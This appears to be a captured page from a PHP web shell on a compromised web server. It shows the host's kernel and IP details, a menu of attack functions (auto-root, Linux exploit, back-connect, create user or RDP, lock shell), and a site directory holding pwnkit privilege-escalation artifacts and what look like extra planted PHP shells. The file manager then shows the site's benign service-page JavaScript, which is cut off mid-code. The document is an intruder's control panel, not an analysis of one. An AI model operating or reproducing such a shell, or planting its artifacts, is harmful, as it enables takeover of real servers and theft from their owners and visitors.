Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.216.164
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signalhgai.org /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
.well-known
[ DIR ]
drwxr-xr-x
1imrtle
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
bcdw1rf
[ DIR ]
drwxr-xr-x
hqszvyj
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
ms1nvlx
[ DIR ]
drwxr-xr-x
pjbgwqa
[ DIR ]
drwxr-xr-x
product-images
[ DIR ]
drwxr-xr-x
seudlrb
[ DIR ]
drwxr-xr-x
ssl
[ DIR ]
drwxr-xr-x
wjoxet1
[ DIR ]
drwxr-xr-x
yagdwcx
[ DIR ]
drwxr-xr-x
.env
74
B
-rw-r--r--
.htaccess
199
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
DEPLOY-NAMECHEAP.md
1.26
KB
-rw-rw-rw-
about.html
30
KB
-rw-rw-rw-
admin-leads.html
6.59
KB
-rw-rw-rw-
admin-leads.js
23.46
KB
-rw-rw-rw-
admin-users.json
590
B
-rw-rw-rw-
admin.html
7.01
KB
-rw-rw-rw-
admin.js
111.38
KB
-rw-rw-rw-
app.js
116.05
KB
-rw-rw-rw-
cms-data.js
83.07
KB
-rw-rw-rw-
cms-data.json
83.05
KB
-rw-rw-rw-
content-store.js
7.37
KB
-rw-rw-rw-
dev-server.js
26.75
KB
-rw-rw-rw-
goat1.php
143.87
KB
-rw-r--r--
index.css
365.46
KB
-rw-rw-rw-
index.html
46.94
KB
-rw-rw-rw-
industries.html
31.63
KB
-rw-rw-rw-
leads-data.json
692
B
-rw-rw-rw-
license-lcan.php
629
B
-rw-r--r--
package-lock.json
244
B
-rw-r--r--
package.json
249
B
-rw-rw-rw-
privacy-policy.html
20.07
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rwxr-xr-x
robots.txt
94
B
-rw-r--r--
service-data.js
19.3
KB
-rw-rw-rw-
service-page.js
74.19
KB
-rw-rw-rw-
service.html
29.76
KB
-rw-rw-rw-
signalhgai-ai-ready-websites-d...
0
B
-rw-rw-rw-
signalhgai-ai-ready-websites-d...
130.34
KB
-rw-rw-rw-
signalhgai-landing-page-design...
0
B
-rw-rw-rw-
signalhgai-landing-page-design...
129.64
KB
-rw-rw-rw-
signalhgai-offer-page-copy-dom...
0
B
-rw-rw-rw-
signalhgai-offer-page-copy-dom...
129.25
KB
-rw-rw-rw-
signalhgai-responsive-page-sys...
0
B
-rw-rw-rw-
signalhgai-responsive-page-sys...
128.85
KB
-rw-rw-rw-
signalhgai-seo-ready-structure...
0
B
-rw-rw-rw-
signalhgai-seo-ready-structure...
129.71
KB
-rw-rw-rw-
signalhgai-service-demo.png
1.33
MB
-rw-rw-rw-
signalhgai-service-dom.err
0
B
-rw-rw-rw-
signalhgai-service-dom.html
127.97
KB
-rw-rw-rw-
signalhgai-service-tall.png
4.71
MB
-rw-rw-rw-
technology-data.js
22.12
KB
-rw-rw-rw-
technology-page.js
11.23
KB
-rw-rw-rw-
technology.html
27.29
KB
-rw-rw-rw-
work-data.js
4.16
KB
-rw-rw-rw-
work-renderer.js
11.88
KB
-rw-rw-rw-
work.html
37.32
KB
-rw-rw-rw-
wxojsgts.php
167.15
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : service-page.js
document.addEventListener("DOMContentLoaded", () => { const catalog = window.signalServiceCatalog || []; const servicesBySlug = window.signalServicesBySlug || {}; if (catalog.length === 0) return; loadService(getServiceSlug(), catalog, servicesBySlug, { updateUrl: false, scroll: false }); setupServiceAnchors(); setupServiceSwitcher(catalog, servicesBySlug); setupServiceDemoInteractions(); }); function getServiceSlug() { const params = new URLSearchParams(window.location.search); const querySlug = params.get("service"); if (querySlug) return querySlug; const fileSlug = window.location.pathname .split("/") .filter(Boolean) .pop() ?.replace(/\.html$/i, ""); return fileSlug && fileSlug !== "service" ? fileSlug : "ai-ready-websites"; } function hydrateServicePage(service, serviceIndex, catalog) { document.title = `${service.label} | SignalHGAI Services`; setMetaDescription(service.summary); setText("[data-service-category]", service.category); setText("[data-service-label]", service.label); setText("[data-service-title]", service.title); setText("[data-service-summary]", service.summary); setText("[data-service-section-title]", `Custom ${service.label.toLowerCase()} for focused online growth`); setText("[data-service-section-kicker]", `Our ${service.label.toLowerCase()} services`); setText("[data-service-case-title]", `${service.label} case direction`); setText("[data-service-case-copy]", buildCaseCopy(service)); setText("[data-service-process-copy]", `A calm, transparent process for turning ${service.label.toLowerCase()} from a loose idea into a usable system.`); setText("[data-service-benefits-title]", `Why choose SignalHGAI for ${service.label.toLowerCase()}`); setText("[data-service-insight-title]", service.insightTitle || `${service.label} image and content direction`); const heroImage = document.querySelector("[data-service-image]"); if (heroImage) { heroImage.src = service.image.src; heroImage.alt = `${service.label} service visual`; heroImage.style.objectPosition = service.image.position || "center"; heroImage.onerror = () => { heroImage.onerror = null; heroImage.src = "assets/hero-specialist.png"; }; } renderServiceFocus(service); renderProcess(service); renderBenefits(service); renderTools(service); renderServiceDemo(service); renderInsights(service, serviceIndex, catalog); renderFaqs(service); markCurrentService(service.slug); setActiveServiceAnchor("#section-services"); } function setMetaDescription(content) { let meta = document.querySelector('meta[name="description"]'); if (!meta) { meta = document.createElement("meta"); meta.name = "description"; document.head.appendChild(meta); } meta.content = content; } function setText(selector, value) { const node = document.querySelector(selector); if (node) node.textContent = value; } function escapeHtml(value) { return window.SignalCMS?.escapeHtml(value) || String(value ?? ""); } const SERVICE_PRODUCT_DEMOS = { "ai-ready-websites": { layout: "site-command", name: "AI-ready Website", kicker: "AI blueprint demo", title: "Futuristic website command center with AI, data, and lead paths", copy: "A dark-mode AI-ready dashboard preview with a floating assistant, live signal cards, and conversion paths built around the brand.", frame: "AI-ready dashboard", badge: "Dark mode live", metricLabel: "Blueprint score", metricValue: "94", action: "Test the AI Blueprint", activeAction: "Blueprint ready", accent: "#08d7f7", nav: ["Assistant", "Signals", "Lead path"], panels: ["Hero offer", "AI guide slot", "SEO sections", "Lead path"] }, "landing-page-design": { layout: "landing-funnel", name: "Landing Page", kicker: "Hero-focused demo", title: "High-conversion hero mockup with a bold offer and cinematic product focus", copy: "A premium landing-page hero preview with strong typography, asymmetric composition, high-contrast CTAs, and proof close to the action.", frame: "Landing hero lab", badge: "CTA mapped", metricLabel: "Hero clarity", metricValue: "A+", action: "See Live Case Study", activeAction: "Case study open", accent: "#ff70ef", nav: ["Hero", "Proof", "CTA"], panels: ["Hero promise", "Proof strip", "Offer detail", "Lead form"] }, "seo-ready-structure": { layout: "seo-map", name: "SEO Structure", kicker: "Structure analyzer", title: "Clean semantic architecture with page speed and crawl clarity", copy: "A light-mode SEO structure demo with a before/after optimization slider, schema hierarchy, and a performance score built to move.", frame: "SEO architecture", badge: "99 score ready", metricLabel: "Page speed", metricValue: "99/100", action: "Analyze My Site Structure", activeAction: "Structure analyzed", accent: "#36b37e", nav: ["Speed", "Schema", "Crawl"], panels: ["Page tree", "Title tags", "Schema basics", "Internal links"] }, "offer-page-copy": { layout: "copy-editor", name: "Offer Copy", kicker: "Offer calculator", title: "Persuasive offer page with pricing tiers, value framing, and proof", copy: "An interactive SaaS-style offer page preview with a highlighted best-value tier, billing toggle, and custom copy-outline calculator.", frame: "Offer page studio", badge: "Best value", metricLabel: "Outline", metricValue: "6 sections", action: "Get My Custom Copy Outline", activeAction: "Outline ready", accent: "#ffc960", nav: ["Pricing", "Proof", "Copy"], panels: ["Audience pain", "Offer promise", "Proof points", "FAQ objections"] }, "responsive-page-systems": { layout: "device-lab", name: "Responsive System", kicker: "Viewport lab", title: "Adaptive component system tested across desktop, tablet, and mobile", copy: "A cinematic responsive-system demo with viewport tabs, device previews, and stable reusable sections across every screen size.", frame: "Responsive system", badge: "Desktop active", metricLabel: "Breakpoints", metricValue: "5", action: "View Component Library", activeAction: "Library open", accent: "#2d74ff", nav: ["Desktop", "Tablet", "Mobile"], panels: ["Desktop grid", "Tablet stack", "Mobile CTA", "Touch targets"] }, "website-chatbots": { layout: "chatbot-console", name: "Website Chatbot", kicker: "Chat UI", title: "Visitor chat with answers, context, and next steps", copy: "A chatbot preview with knowledge answers, lead prompts, and a visible path from question to qualified inquiry.", frame: "Chat assistant", badge: "Online", metricLabel: "Answers", metricValue: "24/7", action: "Send prompt", accent: "#08d7f7", panels: ["FAQ answer", "Lead prompt", "Safety rule", "CRM handoff"] }, "lead-qualification": { layout: "lead-score", name: "Lead Qualification", kicker: "Scoring UI", title: "Lead fit score with budget, timeline, and urgency", copy: "A qualification screen that separates strong opportunities from vague requests and prepares the team before reply.", frame: "Lead scoring", badge: "Qualified", metricLabel: "Fit score", metricValue: "91", action: "Score lead", accent: "#36b37e", panels: ["Fit questions", "Intent score", "Budget range", "Priority route"] }, "faq-knowledge-bases": { layout: "knowledge-base", name: "Knowledge Base", kicker: "Source UI", title: "Searchable FAQ source for consistent AI answers", copy: "A knowledge preview that organizes policies, answers, and source groups so the assistant has trustworthy material.", frame: "Knowledge center", badge: "Sources synced", metricLabel: "Sources", metricValue: "38", action: "Search source", accent: "#7c5cff", panels: ["FAQ groups", "Policy notes", "Tone rules", "Update queue"] }, "appointment-prompts": { layout: "booking-flow", name: "Appointment Prompts", kicker: "Booking UI", title: "Guided booking prompts with service match and context", copy: "A booking preview that helps visitors choose the right service, share details, and arrive prepared for the call.", frame: "Booking assistant", badge: "Slot ready", metricLabel: "Next slot", metricValue: "Thu", action: "Book slot", accent: "#ff8a3d", panels: ["Service match", "Calendar slot", "Pre-call notes", "Reminder copy"] }, "human-handoff-flows": { layout: "handoff-desk", name: "Human Handoff", kicker: "Escalation UI", title: "AI summary, urgency, and team handoff in one desk", copy: "A support handoff preview showing when AI stops, summarizes the conversation, and brings a person into the loop.", frame: "Handoff desk", badge: "Escalated", metricLabel: "Context", metricValue: "Saved", action: "Notify team", accent: "#ff5f6d", panels: ["Escalation rule", "Conversation summary", "Team alert", "Follow-up script"] }, "contact-form-workflows": { layout: "form-router", name: "Contact Workflow", kicker: "Form automation", title: "Submission router from website form to team action", copy: "A form-workflow preview showing validation, confirmation, CRM creation, and team alerts after a lead submits.", frame: "Form router", badge: "Routing", metricLabel: "Reply", metricValue: "Instant", action: "Run workflow", accent: "#08d7f7", panels: ["Validate form", "Confirm email", "Create record", "Alert owner"] }, "email-follow-up": { layout: "email-sequence", name: "Email Follow-up", kicker: "Sequence UI", title: "Follow-up sequence with timing, tokens, and routing", copy: "An email automation preview for confirming requests, educating prospects, and keeping warm leads moving.", frame: "Email sequence", badge: "Scheduled", metricLabel: "Touches", metricValue: "4", action: "Start sequence", accent: "#ffc960", panels: ["Confirmation", "Education", "Reminder", "Reply route"] }, "crm-updates": { layout: "crm-sync", name: "CRM Updates", kicker: "CRM UI", title: "Contact record, tags, and pipeline updates without copying", copy: "A CRM-sync preview showing how submitted details become clean records, notes, tags, and follow-up states.", frame: "CRM sync", badge: "Record clean", metricLabel: "Fields", metricValue: "18", action: "Sync record", accent: "#36b37e", panels: ["Contact create", "Status rule", "Tag mapping", "Duplicate check"] }, "task-routing": { layout: "task-lanes", name: "Task Routing", kicker: "Ops board", title: "Requests routed by service type, urgency, and owner", copy: "A task-routing preview with ownership lanes, priority labels, and team notifications tied to request type.", frame: "Routing board", badge: "Owner set", metricLabel: "Owners", metricValue: "3", action: "Route task", accent: "#2d74ff", panels: ["Priority rule", "Team lane", "Workspace card", "Status update"] }, "zapier-make-flows": { layout: "zap-map", name: "Zapier / Make Flow", kicker: "Integration map", title: "Connected app flow with triggers, actions, and fallbacks", copy: "An integration preview showing how apps pass clean data between forms, CRMs, sheets, and team tools.", frame: "Automation map", badge: "Apps linked", metricLabel: "Steps", metricValue: "7", action: "Test flow", accent: "#ff70ef", panels: ["Trigger", "Formatter", "Action app", "Error path"] }, "lead-dashboards": { layout: "lead-board", name: "Lead Dashboard", kicker: "Pipeline UI", title: "Lead dashboard with source, status, priority, and response timing", copy: "A pipeline dashboard preview that makes active leads, response discipline, and next actions visible in one place.", frame: "Lead command", badge: "Live pipeline", metricLabel: "Open leads", metricValue: "27", action: "Filter leads", accent: "#08d7f7", panels: ["Lead source", "Status column", "Priority filter", "Response time"] }, "report-dashboards": { layout: "report-studio", name: "Report Dashboard", kicker: "Report UI", title: "Monthly report view with metrics, notes, and next actions", copy: "A reporting preview that turns scattered marketing and operations numbers into a clean decision-ready story.", frame: "Report studio", badge: "Month ready", metricLabel: "KPIs", metricValue: "8", action: "Build report", accent: "#7c5cff", panels: ["Traffic trend", "Conversion notes", "Source cleanup", "Next action"] }, "airtable-views": { layout: "airtable-grid", name: "Airtable View", kicker: "Base UI", title: "Airtable interface with filtered views and role clarity", copy: "An Airtable preview showing structured fields, filtered views, interface cards, and automation-ready records.", frame: "Airtable base", badge: "Views built", metricLabel: "Views", metricValue: "6", action: "Open view", accent: "#ff8a3d", panels: ["Base fields", "Filtered view", "Interface card", "Permission rule"] }, "analytics-setup": { layout: "analytics-events", name: "Analytics Setup", kicker: "Tracking UI", title: "Events, conversions, traffic sources, and behavior in one setup", copy: "An analytics preview showing the events and goals that make your website activity understandable.", frame: "Analytics hub", badge: "Tracking live", metricLabel: "Events", metricValue: "14", action: "Track event", accent: "#36b37e", panels: ["Page view", "CTA click", "Form submit", "Source path"] }, "data-cleanup": { layout: "cleanup-table", name: "Data Cleanup", kicker: "Data UI", title: "Before and after table for cleaner records and automations", copy: "A cleanup preview showing duplicate removal, field normalization, tag cleanup, and import-ready data.", frame: "Data cleanup", badge: "Validated", metricLabel: "Rows fixed", metricValue: "420", action: "Clean rows", accent: "#08d7f7", panels: ["Duplicates", "Field format", "Tag cleanup", "Import prep"] }, "brand-ui-refresh": { layout: "brand-board", name: "Brand UI Refresh", kicker: "Style UI", title: "Brand board with type, color, CTA, and section rhythm", copy: "A refresh preview that shows how visible brand details become cleaner, calmer, and more premium.", frame: "Brand board", badge: "Polished", metricLabel: "UI set", metricValue: "New", action: "Apply style", accent: "#ff70ef", panels: ["Color system", "Typography", "CTA style", "Trust details"] }, "conversion-reviews": { layout: "conversion-audit", name: "Conversion Review", kicker: "Audit UI", title: "Conversion audit with heat points, friction, and priority fixes", copy: "An audit preview that marks unclear messaging, weak CTAs, form friction, and the next experiments to run.", frame: "Conversion audit", badge: "Issues mapped", metricLabel: "Fixes", metricValue: "9", action: "Mark fix", accent: "#ffc960", panels: ["Hero clarity", "CTA friction", "Trust proof", "Form behavior"] }, "performance-tuning": { layout: "performance-lab", name: "Performance Tuning", kicker: "Speed UI", title: "Performance lab with vitals, assets, and smoothness checks", copy: "A speed-tuning preview that shows image weight, scripts, layout stability, and mobile performance priorities.", frame: "Performance lab", badge: "Vitals checked", metricLabel: "Speed", metricValue: "96", action: "Run test", accent: "#36b37e", panels: ["Image weight", "Script review", "Core vitals", "Mobile speed"] }, "content-updates": { layout: "content-calendar", name: "Content Updates", kicker: "Content UI", title: "Editorial calendar for offers, FAQs, images, and launch notes", copy: "A content-update preview that keeps page changes organized and tied to the current state of the business.", frame: "Content calendar", badge: "Queued", metricLabel: "Updates", metricValue: "11", action: "Queue edit", accent: "#2d74ff", panels: ["Page edit", "Offer update", "FAQ addition", "Image swap"] }, "monthly-optimization": { layout: "monthly-roadmap", name: "Monthly Optimization", kicker: "Roadmap UI", title: "Monthly optimization board with review, fixes, and experiments", copy: "A recurring improvement preview that keeps analytics, content, automations, and experiments moving calmly.", frame: "Monthly roadmap", badge: "Sprint ready", metricLabel: "Cycle", metricValue: "30d", action: "Plan month", accent: "#7c5cff", panels: ["Review data", "Priority fixes", "Content lift", "Experiment"] } }; function renderServiceFocus(service) { const list = document.querySelector("[data-service-focus]"); if (!list) return; list.innerHTML = service.focus.map((item, index) => { const outcome = service.outcomes[index % service.outcomes.length]; return ` <article class="service-detail-card"> <span class="service-check" aria-hidden="true"></span> <h3>${escapeHtml(item)}</h3> <p>${escapeHtml(outcome)}. We shape this around your offer, tools, and team workflow.</p> </article> `; }).join(""); } function renderProcess(service) { const list = document.querySelector("[data-service-process]"); if (!list) return; const steps = [ ["Discovery", `We review your current ${service.category.toLowerCase()} setup, audience, tools, and goals.`], ["System Map", `We define the page flow, prompts, automations, and handoff points for ${service.label.toLowerCase()}.`], ["Build", "We design, write, connect, and test the experience in a focused sprint."], ["Launch & Improve", "We ship the first version, review the signal data, and tune the next improvement."] ]; list.innerHTML = steps.map(([title, copy], index) => ` <article class="service-process-step"> <span>${String(index + 1).padStart(2, "0")}</span> <h3>${escapeHtml(title)}</h3> <p>${escapeHtml(copy)}</p> </article> `).join(""); } function renderBenefits(service) { const list = document.querySelector("[data-service-benefits]"); if (!list) return; list.innerHTML = service.outcomes.map((benefit) => ` <article class="service-benefit"> <strong>${escapeHtml(benefit)}</strong> <p>Built with clear copy, calm UI, and practical automation paths so the improvement is easy to use after launch.</p> </article> `).join(""); } function renderTools(service) { const list = document.querySelector("[data-service-tools]"); if (!list) return; list.innerHTML = service.tools.map((tool) => `<span>${escapeHtml(tool)}</span>`).join(""); } function renderServiceDemo(service) { const demo = document.querySelector("[data-service-demo]"); if (!demo) return; const profile = getServiceDemoProfile(service); const focus = normalizeDemoList(service.focus, ["Service structure", "Lead capture", "Client workflow"]); const outcomes = normalizeDemoList(service.outcomes, ["Clearer decisions", "Cleaner handoff", "Better visibility"]); const tools = normalizeDemoList(service.tools, ["Website", "Automation", "Reporting"]); const stats = buildDemoStats(service, outcomes); setText("[data-service-demo-title]", `${profile.name} demo for ${service.label}`); setText("[data-service-demo-copy]", `A live-style ${profile.name.toLowerCase()} preview with client-ready copy, working states, and realistic next-step signals.`); const demoClasses = [ "service-demo-card", `service-demo-${profile.type}`, profile.layout ? `service-demo-layout-${profile.layout}` : "" ].filter(Boolean).join(" "); demo.innerHTML = ` <article class="${escapeHtml(demoClasses)}" data-demo-slug="${escapeHtml(service.slug || "")}"> <div class="service-demo-copy"> <div class="service-demo-status" aria-label="Demo status"> <span><i aria-hidden="true"></i>Live preview</span> <span>${escapeHtml(profile.kicker)}</span> </div> <h3>${escapeHtml(profile.headline(service))}</h3> <p>${escapeHtml(profile.copy(service, outcomes))}</p> <ul class="service-demo-outcomes"> ${focus.slice(0, 3).map((item) => `<li>${escapeHtml(item)}</li>`).join("")} </ul> <div class="service-demo-stats" aria-label="${escapeHtml(service.label)} demo signals"> ${stats.map((item) => ` <div> <strong>${escapeHtml(item.value)}</strong> <span>${escapeHtml(item.label)}</span> </div> `).join("")} </div> <div class="service-demo-tools"> ${tools.slice(0, 5).map((tool) => `<span>${escapeHtml(tool)}</span>`).join("")} </div> </div> <div class="service-demo-preview" aria-label="${escapeHtml(service.label)} demo preview"> ${profile.render(service, focus, outcomes, tools, stats, profile)} </div> </article> `; } function normalizeDemoList(items, fallback) { const values = Array.isArray(items) ? items.filter(Boolean).map(String) : []; return values.length ? values : fallback; } function buildDemoStats(service, outcomes) { const seed = String(service.slug || service.label || "") .split("") .reduce((total, char) => total + char.charCodeAt(0), 0); return [ { label: "Lead clarity", value: `${86 + (seed % 10)}%`, text: outcomes[0] || "Sharper visitor decisions" }, { label: "Reply path", value: `${2 + (seed % 4)} min`, text: outcomes[1] || "Cleaner handoff" }, { label: "Next actions", value: String(3 + (seed % 4)), text: outcomes[2] || "Better visibility" } ]; } function getServiceDemoProfile(service) { const productProfile = SERVICE_PRODUCT_DEMOS[service.slug]; if (productProfile) { return { ...productProfile, type: `product-${productProfile.layout}`, layout: productProfile.layout, name: productProfile.name, kicker: productProfile.kicker, headline: () => productProfile.title, copy: () => productProfile.copy, render: renderProductDemo }; } const category = String(service.category || "").toLowerCase(); if (category.includes("assistant")) { return { type: "assistant", name: "Assistant", kicker: "AI assistant demo", headline: (item) => `${item.label} conversation preview`, copy: (item, outcomes) => `Visitors can ask, qualify themselves, and hand the right context to your team for ${outcomes[0].toLowerCase()}.`, render: renderAssistantDemo }; } if (category.includes("automation")) { return { type: "automation", name: "Automation", kicker: "Workflow demo", headline: (item) => `${item.label} automation flow`, copy: (item, outcomes) => `This preview shows how a request moves from intake to action, creating ${outcomes[0].toLowerCase()}.`, render: renderAutomationDemo }; } if (category.includes("dashboard")) { return { type: "dashboard", name: "Dashboard", kicker: "Dashboard demo", headline: (item) => `${item.label} reporting view`, copy: (item, outcomes) => `Teams get a cleaner view of what matters, with signals for ${outcomes[0].toLowerCase()}.`, render: renderDashboardDemo }; } if (category.includes("growth")) { return { type: "growth", name: "Growth", kicker: "Growth demo", headline: (item) => `${item.label} improvement board`, copy: (item, outcomes) => `This demo turns review notes into visible priorities so the site keeps moving toward ${outcomes[0].toLowerCase()}.`, render: renderGrowthDemo }; } return { type: "website", name: "Website", kicker: "Client website demo", headline: (item) => `${item.label} live-style preview`, copy: (item, outcomes) => `This demo shows how the finished website can feel to a real visitor, with stronger trust, clearer calls to action, and ${outcomes[0].toLowerCase()}.`, render: renderWebsiteDemo }; } function renderProductDemo(service, focus, outcomes, tools, stats, profile = {}) { const panels = normalizeDemoList(profile.panels, focus); const navItems = normalizeDemoList(profile.nav, tools).slice(0, 3); const layout = profile.layout || "site-command"; const accent = profile.accent || "#08d7f7"; const soft = profile.soft || "rgba(8, 215, 247, 0.14)"; const metricLabel = profile.metricLabel || stats[0]?.label || "Signal"; const metricValue = profile.metricValue || stats[0]?.value || "Live"; return ` <div class="demo-product-shell demo-product-${escapeHtml(layout)}" style="--demo-accent: ${escapeHtml(accent)}; --demo-soft: ${escapeHtml(soft)};"> <div class="demo-product-top"> <div> <span>${escapeHtml(profile.frame || service.category)}</span> <strong>${escapeHtml(service.label)}</strong> </div> <nav aria-label="${escapeHtml(service.label)} demo navigation"> ${navItems.map((item) => `<span>${escapeHtml(item)}</span>`).join("")} </nav> <em data-demo-product-status>${escapeHtml(profile.badge || "Preview ready")}</em> </div> ${renderProductDemoBody(layout, service, panels, outcomes, tools, stats, profile)} <div class="demo-product-footer"> <div> <span>${escapeHtml(metricLabel)}</span> <strong>${escapeHtml(metricValue)}</strong> </div> <button type="button" data-demo-product-action data-demo-active-label="${escapeHtml(profile.activeAction || "Active")}">${escapeHtml(profile.action || "Preview action")}</button> </div> </div> `; } function renderProductDemoBody(layout, service, panels, outcomes, tools, stats, profile) { switch (layout) { case "landing-funnel": return ` <div class="demo-product-landing-hero"> <section class="demo-landing-canvas"> <div class="demo-landing-copy"> <span>${escapeHtml(service.category)} launch page</span> <strong>${escapeHtml(service.title)}</strong> <p>${escapeHtml(outcomes[0])} with one clear campaign path.</p> <div> <button type="button" data-demo-landing-case>Start Project</button> <em data-demo-landing-note>Case proof ready</em> </div> </div> <div class="demo-landing-visual" aria-hidden="true"> <i></i> <strong>3D</strong> <span></span> </div> </section> <div class="demo-landing-proof"> ${panels.slice(0, 4).map((item, index) => ` <article> <span>${String(index + 1).padStart(2, "0")}</span> <strong>${escapeHtml(item)}</strong> <small>${escapeHtml(outcomes[index % outcomes.length])}</small> </article> `).join("")} </div> </div> `; case "seo-map": return ` <div class="demo-product-seo-lab" style="--split: 72%;"> <section class="demo-seo-score"> <span>Page speed</span> <strong><b data-demo-seo-score>99</b>/100</strong> <small>Semantic structure live</small> </section> <div class="demo-seo-compare"> <div class="demo-seo-before"> <span>Before</span> <strong>Cluttered page</strong> <p>Heavy sections, weak headings, and scattered internal links.</p> </div> <div class="demo-seo-after"> <span>After</span> <strong>Optimized structure</strong> <p>Clean hierarchy, schema-ready blocks, and faster crawl paths.</p> </div> <i aria-hidden="true"></i> </div> <input type="range" min="35" max="88" value="72" aria-label="SEO before and after preview" data-demo-product-range> <div class="demo-seo-structure"> ${panels.slice(0, 4).map((item, index) => ` <article class="${index === 0 ? "is-root" : ""}"> <span>${escapeHtml(index === 0 ? "Home" : `L${index}`)}</span> <strong>${escapeHtml(item)}</strong> </article> `).join("")} </div> </div> `; case "copy-editor": return ` <div class="demo-product-offer-pricing"> <div class="demo-offer-toggle" role="group" aria-label="Pricing mode"> <button type="button" class="is-active" data-demo-price-toggle="launch">Launch</button> <button type="button" data-demo-price-toggle="monthly">Monthly</button> </div> <section class="demo-offer-tiers"> <article> <span>Starter</span> <strong data-demo-price data-launch="$900" data-monthly="$450/mo">$900</strong> <p>${escapeHtml(panels[0])}</p> </article> <article class="is-featured"> <em>Best Value</em> <span>Conversion</span> <strong data-demo-price data-launch="$1.8k" data-monthly="$950/mo">$1.8k</strong> <p>${escapeHtml(panels[1])} + ${escapeHtml(panels[2])}</p> </article> <article> <span>Scale</span> <strong data-demo-price data-launch="$3.2k" data-monthly="$1.6k/mo">$3.2k</strong> <p>${escapeHtml(panels[3])}</p> </article> </section> <div class="demo-offer-calculator"> <label> <span>Offer sections</span> <input type="range" min="4" max="9" value="6" data-demo-offer-slider> </label> <strong data-demo-offer-output>6-section outline</strong> </div> </div> `; case "device-lab": return ` <div class="demo-product-responsive-lab is-desktop"> <div class="demo-responsive-tabs" role="group" aria-label="Viewport preview"> <button type="button" class="is-active" data-demo-viewport="desktop">Desktop</button> <button type="button" data-demo-viewport="tablet">Tablet</button> <button type="button" data-demo-viewport="mobile">Mobile</button> </div> <section class="demo-responsive-stage"> <div class="demo-responsive-device" aria-hidden="true"> <span></span> <div> <strong>${escapeHtml(panels[0])}</strong> <p>${escapeHtml(panels[1])}</p> <i></i> <i></i> <i></i> </div> </div> <aside> <span data-demo-viewport-note>Desktop grid active</span> <strong>${escapeHtml(outcomes[0])}</strong> <p>${escapeHtml(panels[3])}</p> </aside> </section> </div> `; case "chatbot-console": return ` <div class="demo-product-chat"> <section> <p class="is-bot">Hi, I can answer questions about ${escapeHtml(panels[0].toLowerCase())}.</p> <p class="is-user">Can you help me choose the right next step?</p> <p class="is-bot">${escapeHtml(outcomes[0])}. I can collect context and route this to the team.</p> </section> <aside> ${panels.slice(0, 4).map((item) => `<span>${escapeHtml(item)}</span>`).join("")} </aside> </div> `; case "lead-score": return ` <div class="demo-product-score"> <div><span>Fit score</span><strong>${escapeHtml(profile.metricValue || "91")}</strong><small>${escapeHtml(outcomes[0])}</small></div> <section> ${panels.slice(0, 4).map((item, index) => `<p><span>${escapeHtml(item)}</span><strong>${index < 2 ? "High" : "Ready"}</strong></p>`).join("")} </section> </div> `; case "knowledge-base": return ` <div class="demo-product-knowledge"> <div class="demo-product-search">Search answer sources...</div> ${panels.slice(0, 4).map((item, index) => ` <article> <span>${index === 0 ? "Pinned" : "Source"}</span> <strong>${escapeHtml(item)}</strong> <p>${escapeHtml(outcomes[index % outcomes.length])}</p> </article> `).join("")} </div> `; case "booking-flow": return ` <div class="demo-product-booking"> <section> ${["Mon", "Tue", "Wed", "Thu", "Fri", "Sat"].map((day, index) => `<span class="${index === 3 ? "is-active" : ""}">${day}<strong>${index + 10}</strong></span>`).join("")} </section> <aside> <span>Prompt path</span> ${panels.slice(0, 4).map((item) => `<p>${escapeHtml(item)}</p>`).join("")} </aside> </div> `; case "handoff-desk": return ` <div class="demo-product-handoff"> <section> <span>AI summary</span> <strong>${escapeHtml(service.label)}</strong> <p>${escapeHtml(outcomes[1] || outcomes[0])}</p> </section> <i></i> <aside> <span>Human inbox</span> ${panels.slice(0, 3).map((item) => `<p>${escapeHtml(item)}</p>`).join("")} </aside> </div> `; case "form-router": return renderProductFlowLayout("Form submitted", panels, outcomes); case "email-sequence": return ` <div class="demo-product-sequence"> ${panels.slice(0, 4).map((item, index) => ` <article> <span>Day ${index === 0 ? "0" : index * 2}</span> <strong>${escapeHtml(item)}</strong> <small>${escapeHtml(outcomes[index % outcomes.length])}</small> </article> `).join("")} </div> `; case "crm-sync": return ` <div class="demo-product-crm"> <section> <span>Contact record</span> <strong>High-fit inquiry</strong> ${panels.slice(0, 4).map((item) => `<p>${escapeHtml(item)}</p>`).join("")} </section> <aside> ${tools.slice(0, 4).map((tool) => `<span>${escapeHtml(tool)}</span>`).join("")} </aside> </div> `; case "task-lanes": return ` <div class="demo-product-kanban"> ${["New", "Assigned", "Done"].map((lane, laneIndex) => ` <section> <span>${lane}</span> ${panels.slice(laneIndex, laneIndex + 2).map((item) => `<article>${escapeHtml(item)}</article>`).join("")} </section> `).join("")} </div> `; case "zap-map": return ` <div class="demo-product-network"> ${panels.slice(0, 4).map((item, index) => ` <article> <span>${index + 1}</span> <strong>${escapeHtml(item)}</strong> </article> `).join("")} </div> `; case "lead-board": return renderProductDashboardLayout(panels, outcomes, stats, "pipeline"); case "report-studio": return renderProductDashboardLayout(panels, outcomes, stats, "report"); case "airtable-grid": return renderProductTableLayout(panels, outcomes, "airtable"); case "analytics-events": return ` <div class="demo-product-events"> <section> ${stats.slice(0, 3).map((item) => `<article><strong>${escapeHtml(item.value)}</strong><span>${escapeHtml(item.label)}</span></article>`).join("")} </section> <aside> ${panels.slice(0, 4).map((item, index) => `<p><span>0${index + 1}</span>${escapeHtml(item)}</p>`).join("")} </aside> </div> `; case "cleanup-table": return renderProductTableLayout(panels, outcomes, "cleanup"); case "brand-board": return ` <div class="demo-product-brand"> <section> <i></i><i></i><i></i><i></i> </section> <aside> <strong>Aa Signal</strong> ${panels.slice(0, 4).map((item) => `<p>${escapeHtml(item)}</p>`).join("")} </aside> </div> `; case "conversion-audit": return ` <div class="demo-product-audit"> <section> <i style="--x: 20%; --y: 